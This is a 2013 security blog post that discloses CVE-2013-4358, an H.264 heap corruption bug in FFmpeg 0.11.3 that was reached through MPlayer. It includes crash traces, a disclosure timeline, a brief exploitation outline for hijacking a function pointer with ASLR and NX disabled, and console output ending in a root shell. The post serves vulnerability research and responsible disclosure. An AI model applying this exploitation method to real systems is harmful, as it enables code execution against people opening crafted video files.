Vulnerabilities

Tuesday, September 17, 2013

A FFmpeg 0.11.3 Memory Corruption Bug

I was fuzzing a bit during my free time last month. Mplayer produced an interesting crash due to invalid memory access when tested with a fuzzed m2ts file. This is what the crash looked like
=> 0x528da4 <put_image+68>: call   QWORD PTR [rax+0x18]
RAX: 0x4444444444444444 ('DDDDDDDD')
So a crash was noticed at a call instruction and RAX can be user controlled by modifying the file. Here is the backtrace
if(video_out->control(VOCTRL_DRAW_IMAGE,mpi)==VO_TRUE) return 1; 
gdb-peda$ bt
#0  0x0000000000528da4 in put_image (vf=0x17e82b0, mpi=0x1dc4af0, pts=604.16666666666663) at libmpcodecs/vf_vo.c:168
#1  0x00000000004f97eb in filter_video (sh_video=<optimized out>, frame=0x1dc4af0, pts=<optimized out>) at libmpcodecs/dec_video.c:479
#2  0x000000000048ba80 in update_video (blit_frame=0x7fffffffe0e8) at mplayer.c:2487
#3  0x000000000048ff78 in main (argc=<optimized out>, argv=) at mplayer.c:3765
#4  0x00000038b7a1ec5d in __libc_start_main () from /lib64/libc.so.6
#5  0x0000000000482185 in _start ()
A function pointer at an offset 0x18 in structure vo_functions_s is being accessed in put_image function. Since video_out pointer to the structure itself is overwritten with contents from file, we can dereference arbitrary memory location by controlling RAX and call any address. The bug was reported to Mplayer along with PoC and later analysis showed its an issue with FFmpeg. This is what valgrind trace looked like
==4641== Invalid write of size 8
==4641==    at 0xA08407: put_h264_qpel16_mc00_sse2 (dsputil_mmx.c:464)
==4641==    by 0x7C65C6: hl_decode_mb_444_simple (h264.c:532)
==4641==    by 0x81551F: ff_h264_hl_decode_mb (h264.c:2445)
==4641==    by 0xA69AFA: ff_er_frame_end (error_resilience.c:710)
==4641==    by 0x7ACDD7: field_end (h264.c:2787)
==4641==    by 0x835CA9: decode_frame (h264.c:4596)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
==4641==    by 0x4F9894: decode_video (dec_video.c:393)
==4641==    by 0x48B803: update_video (mplayer.c:2463)
==4641==    by 0x48FF77: main (mplayer.c:3765)
==4641==  Address 0xc8c7430 is 0 bytes after a block of size 523,344 allocd
==4641==    at 0x4A072B5: memalign (vg_replace_malloc.c:727)
==4641==    by 0x4A0737A: posix_memalign (vg_replace_malloc.c:876)
==4641==    by 0xAF200C: av_malloc (mem.c:95)
==4641==    by 0xAF20A5: av_mallocz (mem.c:187)
==4641==    by 0x8DE53B: ff_alloc_picture (mpegvideo.c:341)
==4641==    by 0x8DEE84: ff_MPV_frame_start (mpegvideo.c:1193)
==4641==    by 0x7AD21F: ff_h264_frame_start (h264.c:1430)
==4641==    by 0x7AE4C0: decode_slice_header (h264.c:3320)
==4641==    by 0x834F82: decode_nal_units (h264.c:4330)
==4641==    by 0x835C6D: decode_frame (h264.c:4574)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
There was out of bound read/write in H.264 code of FFmpeg leading to heap corruption.

Timeline of Bug:
August 18    - Bug report along with PoC to Mplayer
August 24    - FFmpeg notified about the issue
August 25    - Bug confirmed in FFmpeg H.264 code leading to memory corruption, patches were applied
September 14 - Request for CVE
September 17 - CVE-2013-4358 assigned 
Exploit:
I wrote a PoC exploit from the point of crash, with the mutated file. Understanding of H.264 will give better and reliable attack vectors for the bug. Here is the idea to exploit the bug with ASLR and NX disabled. Yes, its easy without memory protection

[*] Make RAX point to an address [address_to_dereference - 0x18] that we would like to dereference
[*] At [address_to_dereference + 0x18] place the address of shellcode to execute

I'm not going into much details. Here is the final payload
[ctf@renorobert Test]$ mplayer exploit_final.m2ts 
MPlayer 1.1-4.4.4 (C) 2000-2012 MPlayer Team

Playing exploit_final.m2ts.
libavformat version 54.6.100 (internal)
TS file format detected.
VIDEO H264(pid=4113) AUDIO A52(pid=4352) NO SUBS (yet)!  PROGRAM N. 1
FPS seems to be: 24.000000
Load subtitles in ./
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
libavcodec version 54.23.100 (internal)
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
AUDIO: 48000 Hz, 2 ch, s16le, 640.0 kbit/41.67% (ratio: 80000->192000)
Selected audio codec: [ffac3] afm: ffmpeg (FFmpeg AC-3)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
AO: [alsa] 48000Hz 2ch s16le (2 bytes per sample)
Starting playback...
Unsupported PixelFormat 61
Unsupported PixelFormat 53
Unsupported PixelFormat 81
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [x11] 1920x1080 => 1920x1080 Planar YV12 
[swscaler @ 0xdbab00]using unscaled yuv420p -> bgra special converter
A: 602.4 V: 602.4 A-V:  0.024 ct: -0.063  58/ 58 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.5 A-V:  0.012 ct: -0.062  59/ 59 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.5 V: 602.5 A-V:  0.011 ct: -0.061  60/ 60 38%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V: -0.032 ct: -0.064  61/ 61 37%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.5 A-V:  0.056 ct: -0.060  62/ 62 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V:  0.009 ct: -0.059  63/ 63 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.7 V: 602.7 A-V: -0.002 ct: -0.059  64/ 64 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.7 A-V: -0.182 ct: -0.063  65/ 65 36%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.9 V: 602.8 A-V:  0.067 ct: -0.059  66/ 66 36%  9%  2.0% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.9 V: 602.8 A-V:  0.155 ct: -0.055  67/ 67 36% 10%  2.0% 0 0 
######################################################################################
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]error while decoding MB 67 8, bytestream (-5)
[h264 @ 0xcf2320]concealing 7182 DC, 7182 AC, 7182 MV errors
A: 604.7 V: 604.1 A-V:  0.638 ct:  0.066  96/ 96 41% 12%  1.5% 0 0 
[ac3 @ 0xcf2320]frame sync error
[h264 @ 0xcf2320]Missing reference picture, default is 65650
[h264 @ 0xcf2320]error while decoding MB 17 8, bytestream (-6)
[h264 @ 0xcf2320]insane cropping not completely supported, this could look slightly wrong ... (left: 2, top: 6)
[h264 @ 0xcf2320]number of reference frames (0+3) exceeds max (1; probably corrupt input), discarding one
[h264 @ 0xcf2320]concealing 7232 DC, 7232 AC, 7232 MV errors
Dropping frame with size not matching configured size
A: 604.7 V: 604.1 A-V:  0.624 ct:  0.070  97/ 97 41% 11%  1.5% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
[ac3 @ 0xcf2320]frame sync error
[ac3 @ 0xcf2320]frame CRC mismatch
[h264 @ 0xcf2320]Missing reference picture, default is 65652
[h264 @ 0xcf2320]error while decoding MB 42 8, bytestream (-10)
[h264 @ 0xcf2320]concealing 7207 DC, 7207 AC, 7207 MV errors
sh-4.1# 
I got code execution and dropped into shell. Bypassing NX and ASLR will take little more hard work.

1 comment:

  1. A great article!
    May I have the poc sample file? (just for personal research)

    ReplyDelete